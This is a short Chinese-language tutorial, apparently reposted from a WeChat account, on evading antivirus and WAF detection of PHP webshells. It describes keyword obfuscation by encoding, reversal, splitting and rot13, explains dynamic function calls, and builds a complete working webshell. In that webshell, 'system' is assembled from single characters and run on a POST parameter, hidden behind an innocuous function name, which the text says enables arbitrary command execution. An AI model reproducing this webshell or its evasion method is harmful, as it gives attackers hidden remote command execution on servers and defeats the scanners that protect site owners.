Webshell免杀,本质上就是利用一些技巧,让引擎无法正常识别你的意图,或者认为你是一个正常的文件,所以本文的思路也是在,让引擎无法"识别",但是又能正常执行(PS: 本文只是介绍免杀的绕过,针对流量监测的需要自行加密)
常见关键词绕过
我们在绕waf、或者杀软的时候,听到最多的内容可能就是混淆
,一个是针对内容(例如payload)的混淆,另一个则是针对一些敏感的函数名的混淆
常见的针对字符串的思路有:
-
• 字符串编码(base64编码等) -
• 字符串倒写(例如 eval,倒写成lave,要执行时在翻转回去) -
• 字符串分割(将eval分割成几个部分) -
• 字符串加密(如简单的rot13)
实际上,检测引擎在多数时候,都是针对一些敏感的关键词来判断,所以这些的简单的混淆,就能达成我们绕过的目的了,但问题来了,混淆是不难,但是我们混淆后,php怎么去执行还原后的字符串、函数呢
这里就需要用到php的一个方法,动态函数调用
动态调用
动态函数调用是指通过变量来调用函数的一种方式。在PHP中,你可以将一个函数名存储在变量中,然后通过这个变量来调用相应的函数。
他大致可以理解为,把函数名赋值给变量后,你能通过$xx()
的方式来调用这个函数,例如:
functionsayHello() {echo"我是一个简单echo hello的函数";}// 将函数名赋值给变量$testuse = 'sayHello';// 通过变量调用函数$testuse(); // 输出: 我是一个简单echo hello的函数
在代码中,我们将函数名sayHello
赋值给了testuse
,接着就可以通过$testuse()
的方式来调用sayHello()
了
我们尝试将上面这些思路,整合成一个php文件
思路整合
首先,我们进行一个简单的字符串的混淆,这里采用的是分割
$actions = [ 'parse' => 's'.'y'.'s'.'t'.'e'.'m'];
现在,我们得到了$actions['parse']; ,而他实际上是等于字符串system
根据前面介绍的动态函数调用,我们在调用$handler的时候,就等于是在调用system
...$handler = $actions['parse'];...
接着,我们写一个方法把他封装一下
function renderTemplate($input) { $actions = [ 'parse' => 's'.'y'.'s'.'t'.'e'.'m' ]; $handler = $actions['parse']; $handler($input);}
最后使用$_POST或者$_GET来传入外部的值,即可任意命令执行了
<?phpfunction renderTemplate($input) { $actions = [ 'parse' => 's'.'y'.'s'.'t'.'e'.'m' ]; $handler = $actions['parse']; $handler($input);}if (isset($_POST['tpl'])) { renderTemplate($_POST['tpl']);}?>
查看一下查杀效果
原文始发于微信公众号(E条咸鱼):Webshell免杀思路-PHP篇-1:经典混淆的艺术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论